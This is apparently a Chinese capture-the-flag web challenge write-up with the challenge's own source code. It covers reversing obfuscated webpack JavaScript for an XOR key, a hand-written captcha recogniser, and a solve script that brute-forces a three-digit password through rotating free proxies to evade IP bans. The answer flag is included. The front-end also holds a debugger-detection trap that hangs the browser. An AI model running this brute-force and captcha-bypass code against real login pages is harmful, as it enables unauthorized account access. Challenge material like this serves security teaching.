出这个题的本意是看到CTF的web题老是PHP什么的, 感觉和现实情况有点脱节, 且对前端审计没有太大的要求, 于是出了这个"现代"一点的题. 这个题目模拟的是爬虫, 在多次请求后将会出现验证码, 再频繁访问将会封锁ip, 且网站是使用React写的, 经过webpack的打包和混淆使得js很难读, 不过这也是大势所趋, 出出来涨涨见识吧.
F12进行抓包, 发现有uuid
和img
两个字段, img毫无疑问是验证码了, uuid确是一个base64, 尝试解码, 无法得到数据
尝试构造随意数据发送, 再在F12里查看, 发现请求中uuid为f56d359611c24abf9aa1d9f0113091a4
, 说明前端对此数据进行了解密, 首先对前端代码进行审计, 查找加密算法
打开前端代码后, 我相信不少人肯定是蒙的, 首先先进行格式化, 其大概画风是这样的
让我们一步一步来, 首先看点击登录后发生了什么, 搜索关键词登录
, 可以找到这里
可以看见登录按钮绑定了一个函数this.w
, 进入this.w看干什么了
分析: 这里的switch其实是一个async
函数, 通过babel
进行转义的结果, 建议学习ES6, 7, 8, 勉强可以进行分析
state.l = true
, 然后调用a.__.q(state.w, state.c, state.p)
alert(t.msg)
可以发现这里就是弹出服务器错误提示的地方t0 = _.catch(0), alert(t0)
, 这里是处理错误的地方a.u()
, 然后state.l = false
进入a.__.q(e, t, a)
, 应该有三个参数, 分析逻辑
一眼看到熟悉的200, 说明这里应该就是发送数据的地方, 查看参数
在这里我们发现大量w({Base64})
的东西, 通过定位发现w为Base64解码, 吧base64拿去解码, 发现为发送数据的隐藏, 比如uuid
, code
. 这种方式很常见, 为了防止直接搜索直接对数据进行base64储存
查看参数, 这么一长串为
Object(F_Web_Project_fucking_test_node_modules_babel_preset_react_app_node_modules_babel_runtime_helpers_esm_defineProperty__WEBPACK_IMPORTED_MODULE_6__.a)(l, w("bWV0aG9k"), w("UE9TVA=="))
前面那么一长串其实是命名空间, 经过化简后可以得到
{method: "POST"}
, 发现为fetch的用法, 但是在这里并没有发现加密, 说明加密不在发送数据的时候
再次观察请求, 发现在进行一次POST后, 立马获取了一个新的uuid, 说明在登录后应该调用了获取新的uuid的函数, 经过上面分析async
, 进入a.u()
又是一个类似的函数, 这里我们可以直接聚焦到可疑函数a.setState({g: e.img, p: a.__.p(e[t("dXVpZA==")])})
, 可以看到验证码被保存了, 而dXVpZA==
就是uuid, 说明uuid经过了a.__p() e() t()
的处理, 一个个跟踪
a.__.p(e['uuid'])
a.__.p()
里Base64.toUnit8Array
, 然后与___
进行遍历___
, 发现为___ = new Uint8Array([49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69, 69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57])
可以拼出内容__
, 发现为xordef parse_uuid(raw):
input_raw = list(base64.b64decode(raw))
key = [49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69,
69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57]
for i in range(len(input_raw)):
for j in range(len(key)):
input_raw[i] ^= key[j]
return bytes(input_raw).decode()
验证码识别有多种办法, 包括接入打码平台, 使用ocr开源项目, 这里验证码十分规整, 我可以手写一个验证码识别
首先分析验证码结构, 数字8721
分别距离左边5, 20, 35, 50
, 字母大小为12*18
多次刷新, 采集多个验证码, 我这里采集了5个集齐了所有数字
首先将验证码分隔成4个独立的小数字, 使用Python的PIL模块
for i in range(4):
offset = i * 15 + 5
data = img.crop((offset, 3, offset + 12, 20))
然后对整个图片灰度化处理data = data.convert("L")
然后简单对图片黑白化, 由于背景是白色的, 这里认为凡是不是白色即为有数据
w, h = data.size
pixdata = data.load()
for y in range(h):
for x in range(w):
print(pixdata[x, y])
if pixdata[x, y] < 255:
pixdata[x, y] = 0
最后保存图片, 总体代码
import uuid
from PIL import Image
for index in range(6):
img = Image.open(f"image/index{index}.png")
for i in range(4):
offset = i * 15 + 5
data = img.crop((offset, 3, offset + 12, 20))
data = data.convert("L")
w, h = data.size
pixdata = data.load()
for y in range(h):
for x in range(w):
print(pixdata[x, y])
if pixdata[x, y] < 255:
pixdata[x, y] = 0
data.save(f"num/{str(uuid.uuid4()).replace('-', '')}.png")
将图片进行重命名, 挑出1-9
, 并且重命名, 对数据进行采集
from PIL import Image
import json
data = {}
for i in range(10):
img = Image.open(f"./num/{i}.png")
pixdata = img.load()
w, h = img.size
d = []
for x in range(w):
for y in range(h):
d.append(pixdata[x, y])
data[i] = d
with open(f"./num/data.json", 'w') as f:
f.write(json.dumps(data))
最终获取json数据一份
至于识别, 只需要对图片进行相似的分割, 然后灰度化, 黑白化, 然后与每个数字特征进行对比, 算出相似度, 然后取相似度最高的数字即可
from PIL import Image
import json
def find_str(num_list):
with open("num/data.json", 'r') as f:
nums = json.loads(f.read())
sim_data = []
for num, num_data in nums.items():
sim = 0
for ii, jj in zip(num_list, num_data):
if ii == jj:
sim += 1
sim_data.append(sim)
return str(sim_data.index(max(sim_data)))
def load_img(img):
s = ""
for i in range(4):
offset = i * 15 + 5
data = img.crop((offset, 3, offset + 12, 20))
data = data.convert("L")
w, h = data.size
pixdata = data.load()
img_data = []
for x in range(w):
for y in range(h):
img_data.append(0 if pixdata[x, y] < 255 else 255)
s += find_str(img_data)
return s
print(load_img(Image.open("image/index1.png")))
在发送数据的时候发现, 在请求超过50次后永远将404, 这就是ip被ban了, 这里就需要上代理池了
网上有大量免费代理, 采集一下
class ProxyPool:
def __init__(self):
self.pool = [
"223.241.7.181:3000",
"222.189.190.254:9999",
"223.242.224.147:9999",
"36.248.129.32:9999",
"27.43.189.11:9999",
"103.140.204.1:8080",
"36.249.53.38:8000"
]
def get_proxy(self):
return {
'http': 'http://' + self.pool[0]
}
def del_ip(self):
del self.pool[0]
连接失败的时候的时候更换ip
pool = ProxyPool()
for i in range(100, 999):
try:
print(i, foo(i, pool.get_proxy()))
except:
pool.del_ip()
import requests
import base64
from PIL import Image
from io import BytesIO
import json
url = "http://47.107.251.41/api/"
class ProxyPool:
def __init__(self):
self.pool = [
"127.0.0.1:4780",
"223.241.7.181:3000",
"222.189.190.254:9999",
"223.242.224.147:9999",
"36.248.129.32:9999",
"27.43.189.11:9999",
"103.140.204.1:8080",
"36.249.53.38:8000"
]
def get_proxy(self):
return {
'http': 'http://' + self.pool[0]
}
def del_ip(self):
del self.pool[0]
def find_str(num_list):
with open("num_data.json", 'r') as f:
nums = json.loads(f.read())
sim_data = []
for num, num_data in nums.items():
sim = 0
for ii, jj in zip(num_list, num_data):
if ii == jj:
sim += 1
sim_data.append(sim)
return str(sim_data.index(max(sim_data)))
def load_img(img):
s = ""
for i in range(4):
offset = i * 15 + 5
data = img.crop((offset, 3, offset + 12, 20))
data = data.convert("L")
w, h = data.size
pixdata = data.load()
img_data = []
for x in range(w):
for y in range(h):
img_data.append(0 if pixdata[x, y] < 255 else 255)
s += find_str(img_data)
return s
def foo(password, proxy):
data = requests.get(url=url).json()
code = ""
uuid = parse_uuid(data["uuid"])
image = data["img"]
if len(image) > 0:
bytes_io = BytesIO(base64.b64decode(image[len("data:image/png;base64,"):]))
img = Image.open(bytes_io)
code = load_img(img)
data = requests.post(url=url, data={"uuid": uuid, "code": code, "password": password}, proxies=proxy, timeout=10)
if data.status_code == 404:
raise Exception("404")
return data.json()["result"], data.json()["msg"]
def parse_uuid(raw):
input_raw = list(base64.b64decode(raw))
key = [49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69,
69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57]
for i in range(len(input_raw)):
for j in range(len(key)):
input_raw[i] ^= key[j]
return bytes(input_raw).decode()
pool = ProxyPool()
for i in range(100, 999):
try:
print(i, foo(i, pool.get_proxy()))
except:
pool.del_ip()
{"0": [255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255], "1": [255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], "2": [0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255], "3": [0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 255, 255], "4": [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255], "5": [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255], "6": [255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255], "7": [0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], "8": [255, 255, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 255, 255], "9": [255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255]}
import React from 'react';
import Drawer, {drawerWidth} from "./Drawer";
import {
Button,
Card,
createStyles, LinearProgress, Link,
List,
ListItem,
TextField,
Theme,
withStyles
} from "@material-ui/core";
import {Base64} from "js-base64";
const t = Base64.fromBase64;
const w = Base64.fromBase64
const _ = fetch;
const __ = (x: number, y: number) => x ^ y
const ___ = new Uint8Array([49, 50, 51, 67, 55, 69, 53, 69, 56, 55, 53, 70, 66, 70, 48, 69, 69, 69, 50, 53, 56, 51, 70, 56, 65, 70, 51, 68, 68, 70, 70, 57])
const url = w("aHR0cDovLzQ3LjEwNy4yNTEuNDEvYXBpLw==")
const useStyles = (theme: Theme) => createStyles({
main: {
flexGrow: 1,
padding: theme.spacing(3),
[theme.breakpoints.up('sm')]: {
marginLeft: drawerWidth
},
height: "100%"
},
toolbar: theme.mixins.toolbar,
paper: {
display: "table",
margin: "0 auto",
width: 300,
height: 300,
marginTop: 160,
},
input: {
width: 280,
},
input2: {
width: 280 - 63,
},
center: {
textAlign: "center"
},
p: {
width: "100%",
textAlign: "center",
fontSize: "20px",
margin: "0 auto"
},
btn: {
margin: "0 0 0 auto"
},
hidden: {
visibility: "hidden"
}
})
interface State {
p: string,
c: string,
w: string,
g: string,
l: boolean
}
class App extends React.Component<any, State> {
private __: { p(b: string): string; q(p: string, c: string, y: string): Promise<any>; y(): Promise<any> };
constructor(props: any) {
super(props);
this.__ = {
async y() {
return _(url)
.then(res => res.json())
},
async q(p: string, c: string, y: string) {
return _(url, {
[w("bWV0aG9k")]: w("UE9TVA=="),
[w("bW9kZQ==")]: w("Y29ycw=="),
[w("aGVhZGVycw==")]: {
[w("Q29udGVudC1UeXBl")]: w("YXBwbGljYXRpb24vanNvbg==")
},
[w("Ym9keQ==")]: JSON.stringify({
[w("dXVpZA==")]: y,
[w("Y29kZQ==")]: c,
[w("cGFzc3dvcmQ=")]: p
})
}).then(res => {
if (res.status !== 200) {
throw new Error(res.status.toString())
}
return res
}).then(res => res.json())
},
p(b: string): string {
const input = Base64.toUint8Array(b);
input.forEach((_, i) => {
___.forEach((_, j) => {
input[i] = __(input[i], ___[j])
})
})
return Array.from(input).map(value => String.fromCharCode(value)).join("")
}
}
}
readonly state: Readonly<State> = {
p: "",
c: "",
w: "",
g: "",
l: false
}
componentDidMount() {
this.u()
setInterval(() => {
const time1 = new Date().getTime()
debugger;
const time2 = new Date().getTime() - time1
if (time2 > 100) {
eval(`const wait = async () => {
wait()
let total = "";
for (let i = 0; i < 1e9; i++) {
total = total + i.toString();
history.pushState(0, "", total);
}
}
wait()`)
Array.from({
[Symbol.iterator]: () => ({
next: () => ({value: Math.random()})
})
})
}
}, 1000)
}
u = () => {
(async () => {
const data = await this.__.y();
this.setState({
g: data["img"],
p: this.__.p(data[t("dXVpZA==")])
})
})()
}
w = () => {
(async () => {
try {
this.setState({l: true})
const {msg} = await this.__.q(this.state.w, this.state.c, this.state.p)
alert(msg)
} catch (e) {
alert(e)
}
this.u()
this.setState({l: false})
})()
}
g = () => {
alert("密码只有3位数字哦!")
}
e = (event: any) => {
this.setState({w: event.target.value})
}
i = (event: any) => {
this.setState({c: event.target.value})
}
render() {
const {classes} = this.props
return (
<div>
<Drawer/>
<main className={classes.main}>
<div className={classes.toolbar}/>
<Card className={classes.paper}>
<List>
<ListItem>
<p className={classes.p}>登录</p>
</ListItem>
<ListItem>
<TextField className={classes.input} label="用户识别码" type="password" onChange={this.e}/>
</ListItem>
<ListItem className={this.state.g.length === 0? classes.hidden: ""}>
<TextField className={classes.input2} label="验证码" onChange={this.i}/>
<img width={63} height={24} src={this.state.g}/>
</ListItem>
<ListItem>
<Link onClick={this.g}>
忘记了你的用户识别码?
</Link>
</ListItem>
<ListItem>
<p style={{color: "#909399"}}>0202年了, 是时候了解下最新的前端技术了</p>
</ListItem>
<ListItem>
<Button className={classes.btn} variant="contained" color="primary" onClick={this.w}>
登录
</Button>
</ListItem>
</List>
{this.state.l && <LinearProgress />}
</Card>
</main>
</div>
);
}
}
export default withStyles(useStyles)(App)
import React from "react";
import {
AppBar,
createStyles, CssBaseline,
Drawer, Hidden, IconButton,
List,
ListItem,
ListItemIcon,
ListItemText, ListSubheader,
Theme, Toolbar, Typography,
withStyles
} from "@material-ui/core";
import MenuIcon from '@material-ui/icons/Menu';
import LiveHelpIcon from '@material-ui/icons/LiveHelp';
import ListAltIcon from '@material-ui/icons/ListAlt';
import GavelIcon from '@material-ui/icons/Gavel';
import HelpIcon from '@material-ui/icons/Help';
import EqualizerIcon from '@material-ui/icons/Equalizer';
import HomeIcon from '@material-ui/icons/Home';
export const drawerWidth = 200;
const drawerStyle = (theme: Theme) =>
createStyles({
root: {
display: 'flex',
},
drawer: {
[theme.breakpoints.up('sm')]: {
width: drawerWidth,
flexShrink: 0,
},
},
menuButton: {
marginRight: theme.spacing(2),
},
toolbar: theme.mixins.toolbar,
drawerPaper: {
marginTop: 64,
width: drawerWidth,
},
content: {
flexGrow: 1,
padding: theme.spacing(3),
},
})
interface State {
mobileOpen: boolean
}
class DrawerNav extends React.Component<any, State> {
readonly state: Readonly<State> = {
mobileOpen: false
}
handleDrawerToggle = () => {
this.setState({mobileOpen: !this.state.mobileOpen})
};
render() {
const {classes} = this.props;
const drawer = (
<div>
<List
subheader={
<ListSubheader component="div" id="nested-list-subheader">
Online Judge
</ListSubheader>
}>
<ListItem button>
<ListItemIcon><HomeIcon/></ListItemIcon>
<ListItemText primary="Home" />
</ListItem>
<ListItem button>
<ListItemIcon><LiveHelpIcon/></ListItemIcon>
<ListItemText primary="Problems" />
</ListItem>
<ListItem button>
<ListItemIcon><ListAltIcon/></ListItemIcon>
<ListItemText primary="Contests" />
</ListItem>
<ListItem button>
<ListItemIcon><GavelIcon/></ListItemIcon>
<ListItemText primary="States" />
</ListItem>
<ListItem button>
<ListItemIcon><EqualizerIcon/></ListItemIcon>
<ListItemText primary="Rank" />
</ListItem>
<ListItem button>
<ListItemIcon><HelpIcon/></ListItemIcon>
<ListItemText primary="Help" />
</ListItem>
</List>
</div>
);
return (
<div className={classes.root}>
<CssBaseline />
<AppBar position="fixed">
<Toolbar>
<Hidden smUp>
<IconButton
color="inherit"
aria-label="open drawer"
edge="start"
onClick={this.handleDrawerToggle}
className={classes.menuButton}
>
<MenuIcon />
</IconButton>
</Hidden>
<Hidden xsDown>
<IconButton
color="inherit"
aria-label="open drawer"
edge="start"
className={classes.menuButton}
>
<MenuIcon />
</IconButton>
</Hidden>
<Typography variant="h6" noWrap>
武科大ACM俱乐部
</Typography>
</Toolbar>
</AppBar>
<nav className={classes.drawer} aria-label="mailbox folders">
<Hidden smUp implementation="css">
<Drawer
variant="temporary"
open={this.state.mobileOpen}
onClose={this.handleDrawerToggle}
classes={{paper: classes.drawerPaper}}
ModalProps={{keepMounted: true}}
>
{drawer}
</Drawer>
</Hidden>
<Hidden xsDown implementation="css">
<Drawer
classes={{paper: classes.drawerPaper}}
variant="permanent"
open
>
{drawer}
</Drawer>
</Hidden>
</nav>
</div>
);
}
}
export default withStyles(drawerStyle)(DrawerNav)
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import serializers
from rest_framework.status import HTTP_404_NOT_FOUND
from uuid import uuid4
from .models import CaptchaStore, IPStore
from .util import Captcha
import base64
import hashlib
class TestSerializers(serializers.Serializer):
uuid = serializers.CharField(required=True)
code = serializers.CharField(required=False, allow_blank=True)
password = serializers.CharField(required=True)
def save(self, ip_store):
attrs = self.validated_data
try:
c = CaptchaStore.objects.get(uuid=attrs["uuid"])
if ip_store.need_captcha() and c.data != attrs["code"]:
c.delete()
return False, "验证码错误"
print(attrs["password"])
if attrs["password"] != "312":
c.delete()
return False, "密码错误"
c.delete()
return True, "flag{do_you_like_react_and_webpack}"
except Exception:
return False, "uuid不存在"
class LoginView(APIView):
def get(self, request):
# IP 检测
if "HTTP_X_REAL_IP" in request.META:
ip = request.META['HTTP_X_REAL_IP']
else:
ip = request.META['REMOTE_ADDR']
uuid = str(uuid4()).replace("-", "")
ip_md5 = hashlib.md5(ip.encode()).hexdigest()
ip_store, _ = IPStore.objects.get_or_create(ip=ip_md5)
image_str = ""
v = "0000"
if ip_store.try_num > 2:
image_str, v = Captcha().get()
CaptchaStore.objects.create(uuid=uuid, data=v)
uuid_bytes = list(uuid.encode())
key_byte = list("123C7E5E875FBF0EEE2583F8AF3DDFF9".encode())
for i in range(len(uuid_bytes)):
for j in range(len(key_byte)):
uuid_bytes[i] ^= key_byte[j]
s = base64.b64encode(bytes(uuid_bytes)).decode()
return Response({
"img": image_str,
"uuid": s
})
def post(self, request):
se = TestSerializers(data=request.data)
if "HTTP_X_REAL_IP" in request.META:
ip = request.META['HTTP_X_REAL_IP']
else:
ip = request.META['REMOTE_ADDR']
try:
ip_md5 = hashlib.md5(ip.encode()).hexdigest()
ip_store = IPStore.objects.get(ip=ip_md5)
ip_store.add_visit_num()
if ip_store.need_ban():
return Response(status=HTTP_404_NOT_FOUND)
if se.is_valid():
s, data = se.save(ip_store)
return Response({"result": s, "msg": data})
return Response({"result": False, "msg": "表单错误"})
except Exception as e:
print(e)
return Response(status=HTTP_404_NOT_FOUND)
import random
import base64
from PIL import Image, ImageDraw, ImageFont
from io import BytesIO
class Captcha:
def __init__(self):
self.random_number = "".join([str(j) for j in [random.choice(list(range(10))) for _ in range(4)]])
self.color = [(random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)) for _ in range(4)]
def get(self):
weight = 63
height = 24
image = Image.new('RGB', (weight, height), (255, 255, 255))
font = ImageFont.truetype(font="C:/309.ttf", size=25)
draw = ImageDraw.Draw(image)
for x in range(weight):
for y in range(height):
draw.point((x, y), fill=(255, 255, 255))
offset = 0
for number, color in zip(self.random_number, self.color):
